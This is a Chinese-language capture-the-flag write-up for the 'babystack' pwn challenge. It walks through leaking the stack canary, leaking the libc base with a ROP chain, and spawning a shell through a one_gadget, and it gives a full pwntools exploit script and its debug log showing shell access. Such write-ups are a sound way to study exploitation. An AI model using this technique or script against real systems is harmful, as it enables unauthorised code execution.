checksec看一下保护
Full RELRO代表got表只读,开启了canary,说明可能需要进行泄露canary,接下来看ida
对部分代码有所修改,典型的菜单题目,1是输入,发现s可以进行溢出,也就是说泄露canary和libc基地址,并且控制执行流,2是输出,利用puts遇到\x0才会停止输出,用来接收canary,3是退出程序,进入到我们自己布置的执行流。
大体了解完,整理一下攻击流程:
(1)先泄露canary,那么如何泄露canary呢,下面看脚本。
p.sendlineafter(">> ",'1')
p.sendline(b'a'*0x88)
p.sendlineafter(">> ",'2')#进入到输出
p.recvuntil(b'a'*0x88+b'\n')
canary = u64(p.recv(7).rjust(8,b'\x00'))
print(f'[+][+][+] canary => {hex(canary)}')
先填满canary之前的0x88,再进行到程序的输出地方,recvuntil的换行是因为原程序最下面的print函数中调用了puts函数,puts输出完会在末尾加上换行,这样就可以接收到canary了。注意一下,canary的接收,是rjust,而不是其他的ljust,从右到左补充.
(2)泄露libc基地址,已经有了canary了,那么便可以栈溢出控制执行流了,可以用puts函数来泄露,由于是64位程序,得先获得pop_rdi_ret进行传参
ROPgadget --binary babystack --only "pop|ret" | grep rdi
0x0000000000400a93 : pop rdi ; ret
然后便是泄露puts真实地址了:
p.sendlineafter(">> ",'1')
payload = cyclic(0x88) + p64(canary) + b'a'*8
payload += flat(pop_rdi_ret,puts_got,puts_plt,main)
p.sendline(payload)
p.recv()
p.sendlineafter('>> ','3')#退出程序,控制执行流到我们想要的地方
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(f'[+][+][+] puts_address => {hex(puts_addr)}')
base = puts_addr - libc.symbols['puts']#获得基地址
先传递我们的payload,然后退出主程序去执行leave ret(关键的一步,一定要退出主程序!!),到我们布置好的执行流上面,从而获得puts的真实地址,进而获得基地址。
(3)最后,由于题目给了libc版本,那么便可以使用one_gadget去一把梭。(不知道可不可以自己构造system(/bin/sh),我自己写的时候没有成功,是sh not found)
先看onegadget的使用:
zwb@ubuntu:~/Downloads/pwn1$ one_gadget libc-2.23.so
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf0274 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1117 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
根据这上面给出的一个一个去试,constraints是要求.
ok,直接上最后的脚本:
from pwn import*
context(arch='amd64',log_level='debug')
p=remote("61.147.171.105",56918)
elf = ELF("./babystack")
libc = ELF("./libc-2.23.so")
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main = 0x0400908
pop_rdi_ret = 0x0000000000400a93
ret = 0x000000000040067e
#先对menu解析
#1是输入,2是输出,3是退出
#第一部分泄露canary地址
p.sendlineafter(">> ",'1')
p.sendline(b'a'*0x88)
p.sendlineafter(">> ",'2')#进入到输出
p.recvuntil(b'a'*0x88+b'\n')
canary = u64(p.recv(7).rjust(8,b'\x00'))
print(f'[+][+][+] canary => {hex(canary)}')
#第二部分泄露libc基地址
p.sendlineafter(">> ",'1')
payload = cyclic(0x88) + p64(canary) + b'a'*8
payload += flat(pop_rdi_ret,puts_got,puts_plt,main)
p.sendline(payload)
p.recv()
p.sendlineafter('>> ','3')#退出程序,控制执行流到我们想要的地方
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(f'[+][+][+] puts_address => {hex(puts_addr)}')
base = puts_addr - libc.symbols['puts']#获得基地址
#给出了libc版本,可以用one_gaget一把梭
onegadget = base + 0x45216
p.sendlineafter(">> ",'1')
payload1 = cyclic(0x88) + p64(canary) + b'a'*8
payload1 += flat(ret,onegadget)
p.sendline(payload1)
p.sendlineafter(">> ",'3')
p.interactive()
发送之后是这个样子的 :
zwb@ubuntu:/mnt/hgfs/ctfpwn/exp$ python3 babystack.py
[+] Opening connection to 61.147.171.105 on port 56918: Done
[*] '/mnt/hgfs/ctfpwn/exp/babystack'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/mnt/hgfs/ctfpwn/exp/libc-2.23.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
babystack.py:16: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendlineafter(">> ",'1')
/home/zwb/.local/lib/python3.8/site-packages/pwnlib/tubes/tube.py:841: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
res = self.recvuntil(delim, timeout=timeout)
[DEBUG] Received 0x2c bytes:
b'--------\n'
b'1.store\n'
b'2.print\n'
b'3.quit\n'
b'--------\n'
b'>> '
[DEBUG] Sent 0x2 bytes:
b'1\n'
[DEBUG] Sent 0x89 bytes:
b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n'
babystack.py:19: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendlineafter(">> ",'2')#进入到输出
[DEBUG] Received 0x1 bytes:
b'\n'
[DEBUG] Received 0x2c bytes:
b'--------\n'
b'1.store\n'
b'2.print\n'
b'3.quit\n'
b'--------\n'
b'>> '
[DEBUG] Sent 0x2 bytes:
b'2\n'
[DEBUG] Received 0x93 bytes:
00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
*
00000080 61 61 61 61 61 61 61 61 0a b3 76 0a a7 9b f4 0a │aaaa│aaaa│··v·│····│
00000090 30 0a 40 │0·@│
00000093
[+][+][+] canary => 0xaf49ba70a76b300
babystack.py:25: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendlineafter(">> ",'1')
[DEBUG] Received 0x2e bytes:
b'\n'
b'\n'
b'--------\n'
b'1.store\n'
b'2.print\n'
b'3.quit\n'
b'--------\n'
b'>> '
[DEBUG] Sent 0x2 bytes:
b'1\n'
[DEBUG] Sent 0xb9 bytes:
00000000 61 61 61 61 62 61 61 61 63 61 61 61 64 61 61 61 │aaaa│baaa│caaa│daaa│
00000010 65 61 61 61 66 61 61 61 67 61 61 61 68 61 61 61 │eaaa│faaa│gaaa│haaa│
00000020 69 61 61 61 6a 61 61 61 6b 61 61 61 6c 61 61 61 │iaaa│jaaa│kaaa│laaa│
00000030 6d 61 61 61 6e 61 61 61 6f 61 61 61 70 61 61 61 │maaa│naaa│oaaa│paaa│
00000040 71 61 61 61 72 61 61 61 73 61 61 61 74 61 61 61 │qaaa│raaa│saaa│taaa│
00000050 75 61 61 61 76 61 61 61 77 61 61 61 78 61 61 61 │uaaa│vaaa│waaa│xaaa│
00000060 79 61 61 61 7a 61 61 62 62 61 61 62 63 61 61 62 │yaaa│zaab│baab│caab│
00000070 64 61 61 62 65 61 61 62 66 61 61 62 67 61 61 62 │daab│eaab│faab│gaab│
00000080 68 61 61 62 69 61 61 62 00 b3 76 0a a7 9b f4 0a │haab│iaab│··v·│····│
00000090 61 61 61 61 61 61 61 61 93 0a 40 00 00 00 00 00 │aaaa│aaaa│··@·│····│
000000a0 a8 0f 60 00 00 00 00 00 90 06 40 00 00 00 00 00 │··`·│····│··@·│····│
000000b0 08 09 40 00 00 00 00 00 0a │··@·│····│·│
000000b9
[DEBUG] Received 0x1 bytes:
b'\n'
babystack.py:30: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendlineafter('>> ','3')#退出程序,控制执行流到我们想要的地方
[DEBUG] Received 0x2c bytes:
b'--------\n'
b'1.store\n'
b'2.print\n'
b'3.quit\n'
b'--------\n'
b'>> '
[DEBUG] Sent 0x2 bytes:
b'3\n'
[DEBUG] Received 0x6 bytes:
00000000 90 06 f7 19 8c 7f │····│··│
00000006
[+][+][+] puts_address => 0x7f8c19f70690
babystack.py:38: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendlineafter(">> ",'1')
[DEBUG] Received 0x2d bytes:
b'\n'
b'--------\n'
b'1.store\n'
b'2.print\n'
b'3.quit\n'
b'--------\n'
b'>> '
[DEBUG] Sent 0x2 bytes:
b'1\n'
[DEBUG] Sent 0xa9 bytes:
00000000 61 61 61 61 62 61 61 61 63 61 61 61 64 61 61 61 │aaaa│baaa│caaa│daaa│
00000010 65 61 61 61 66 61 61 61 67 61 61 61 68 61 61 61 │eaaa│faaa│gaaa│haaa│
00000020 69 61 61 61 6a 61 61 61 6b 61 61 61 6c 61 61 61 │iaaa│jaaa│kaaa│laaa│
00000030 6d 61 61 61 6e 61 61 61 6f 61 61 61 70 61 61 61 │maaa│naaa│oaaa│paaa│
00000040 71 61 61 61 72 61 61 61 73 61 61 61 74 61 61 61 │qaaa│raaa│saaa│taaa│
00000050 75 61 61 61 76 61 61 61 77 61 61 61 78 61 61 61 │uaaa│vaaa│waaa│xaaa│
00000060 79 61 61 61 7a 61 61 62 62 61 61 62 63 61 61 62 │yaaa│zaab│baab│caab│
00000070 64 61 61 62 65 61 61 62 66 61 61 62 67 61 61 62 │daab│eaab│faab│gaab│
00000080 68 61 61 62 69 61 61 62 00 b3 76 0a a7 9b f4 0a │haab│iaab│··v·│····│
00000090 61 61 61 61 61 61 61 61 7e 06 40 00 00 00 00 00 │aaaa│aaaa│~·@·│····│
000000a0 16 62 f4 19 8c 7f 00 00 0a │·b··│····│·│
000000a9
babystack.py:42: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendlineafter(">> ",'3')
[DEBUG] Received 0x1 bytes:
b'\n'
[DEBUG] Received 0x2c bytes:
b'--------\n'
b'1.store\n'
b'2.print\n'
b'3.quit\n'
b'--------\n'
b'>> '
[DEBUG] Sent 0x2 bytes:
b'3\n'
[*] Switching to interactive mode
$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0x34 bytes:
b'babystack\n'
b'bin\n'
b'dev\n'
b'flag\n'
b'lib\n'
b'lib32\n'
b'lib64\n'
b'libc-2.23.so\n'
babystack
bin
dev
flag
lib
lib32
lib64
libc-2.23.so
最后的总结:
(1)一定先理清好攻击的思路一步一步去执行
(2)弄清好如何获得canary和泄露libc,明确执行流!!